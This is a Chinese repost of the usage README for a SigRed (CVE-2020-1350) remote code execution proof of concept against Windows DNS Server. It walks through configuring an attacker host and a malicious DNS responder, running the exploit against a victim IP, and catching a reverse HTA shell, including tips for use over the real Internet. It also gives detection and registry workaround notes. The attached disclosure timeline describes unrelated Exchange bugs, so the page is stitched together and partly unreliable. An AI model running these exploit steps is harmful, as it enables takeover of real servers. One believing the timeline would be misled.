适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。

admin 2021年5月29日04:05:08评论90 views字数 3010阅读10分2秒阅读模式

创建人:chompie

仅用于研究目的。使用风险自负。


利用写作

有关使用的方法的详细信息在这里:

https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred


环境设定

实验室环境:设置转发器

出于演示/测试目的,只需在受害者计算机上设置条件转发器即可将“恶意域”请求转发到攻击者计算机。

Tool-> DNS

适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。

适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。

注册自定义名称服务器

如果您没有设置转发器,即实际上将攻击者的计算机注册为您的域的自定义名称服务器,并通过真实的Internet运行它,请注意... 我真的不建议您这样做,如果您做一些愚蠢的事情也不承担任何责任。


假设您的域名服务器注册为ns1,则配置此漏洞利用。[yourevildomain]

您需要进行以下调整才能通过真实的Internet进行这项工作:


注释掉行:

os.system('systemctl stop systemd-resolved')

evildns.py


请按照以下说明修复DNS配置:

https://www.linuxuprising.com/2020/07/ubuntu-how-to-free-up-port-53-used-by.html


这样一来,您可以侦听端口53并仍然配置DNS服务器。


配置攻击者机器

在Linux攻击者机器上:(我使用了基本的Ubuntu 20.04.1 VM)

sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80)

这会将受害者配置为下载反向HTA Shell的Apache服务器。

运行漏洞利用

sudo python3 evildns.py

需要sudo侦听UDP和TCP端口53

然后运行:

python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN

设置反向shell的侦听器:

python3 reverse_shell/server.py -p PORT_REVERSE_SHELL

HTA shell是以下版本的修改版本:

https : //github.com/freshness79/HTA-Shell

请注意,当有传入连接时,shell不会通知您,因此您将不得不尝试键入命令。


支持的版本

已在Windows Server 2019、2016、2012R2和2012(x64版本)上进行测试。偏移量的某些版本dns.exe和msvcrt.dll位于offsets.py。此列表不完整。如果要测试的版本找不到偏移量,则可以在此处添加映射。


dns.exe偏移映射:(对于偏移的12位最后dns!RR_Free,dns!`string`):(偏移dns!RR_Free,dns!NsecDnsRecordConvert,dns!_imp_exit) msvcrt.dll偏移映射:(用于抵消最后12个比特msvcrt!exit):(偏移msvcrt!exit,偏移量msvcrt!system)


注意:如果发生偏移冲突,则必须选择要选择的一组偏移。DNS服务将在大约5分钟后重新启动,直到崩溃后最多两次。evildns.py每次尝试后必须重新启动。该漏洞利用程序是稳定的,因此成功进行“盲目”漏洞利用的机会很高。


检测漏洞利用和解决方法

此PoC包含用于检测对SigRed的利用的Grapl规则。要为您首选的SIEM实施规则,请查找dns.exe的无效子进程。


如果无法修补,则可以使用变通办法修补程序:

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDNSParameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /fnet stop DNS && net start DNS

漏洞披露时间表

  • 2020年10月1日 DEVCORE开始审查Microsoft Exchange Server上的安全性

  • 2020年12月10日 DEVCORE发现了第一个预身份验证代理错误(CVE-2021-26855)

  • 2020年12月27日 DEVCORE将第一个错误升级为身份验证绕过身份,成为管理员

  • 2020年12月30日 DEVCORE发现了第二个验证后任意文件写入错误(CVE-2021-27065)

  • 2020年12月31日 DEVCORE将所有错误链接到一个可行的预认证RCE利用中

  • 2021年1月5日 DEVCORE通过MSRC门户直接向Microsoft发送了咨询和漏洞利用(格林尼治标准时间18:41 +8)

  • 2021年1月6日 MSRC确认了预身份验证代理错误(MSRC案例62899)

  • 2021年1月6日 MSRC确认了验证后任意文件写入错误(MSRC案例63835)

  • 2021年1月8日 MSRC确认了举报行为

  • 2021年1月11日 DEVCORE将MSRC的公开披露截止日期定为120天,并检查是否存在bug冲突

  • 2021年1月12日 MSRC标记了预期的截止日期,并确认当时没有冲突

  • 2021年2月2日 DEVCORE检查更新

  • 2021年2月2日 MSRC回答说:“他们将各个方面分开进行审查,并至少获得了一个应在我们的截止日期前解决的方法”

  • 2021年2月12日 MSRC询问标题标题以致谢,以及我们是否将发布博客

  • 2021年2月13日 DEVCORE已确认发布博客,并表示将技术细节推迟两周,并将发布一个易于理解的建议(不包含技术细节)

  • 2021年2月18日 DEVCORE向MSRC提供了咨询草案,并要求提供补丁程序日期

  • 2021年2月18日 MSRC在我们的草案中指出了一个小错误,并确认补丁发布日期为3/9

  • 2021年2月27日 MSRC表示,他们即将发布,并想问一下我们在其咨询中被提及是否满意

  • 2021年2月28日 DEVCORE同意在其咨询中提及

  • 2021年3月3日 MSRC表示,他们可能会比预期更早推出博客,并且没有时间

  • 对博客进行概述


  • 2021年3月3日 MSRC发布了补丁和公告,并正式承认DEVCORE

  • 2021年3月3日 在获悉Volexity的积极开采咨询后,DEVCORE已启动了初步

  • 调查


  • 2021年3月4日 DEVCORE已确认该野外攻击与向MSRC报告的相同

  • 2021年3月5日 迄今为止,DEVCORE尚未在调查中引起关注


参考:

https://github.com/chompie1337/SIGRed_RCE_PoC

https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/


https://github.com/chompie1337/SIGRed_RCE_PoC


https://datafarm-cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228

适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。

本文始发于微信公众号(Ots安全):适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月29日04:05:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。https://cn-sec.com/archives/287079.html

发表评论

匿名网友 填写信息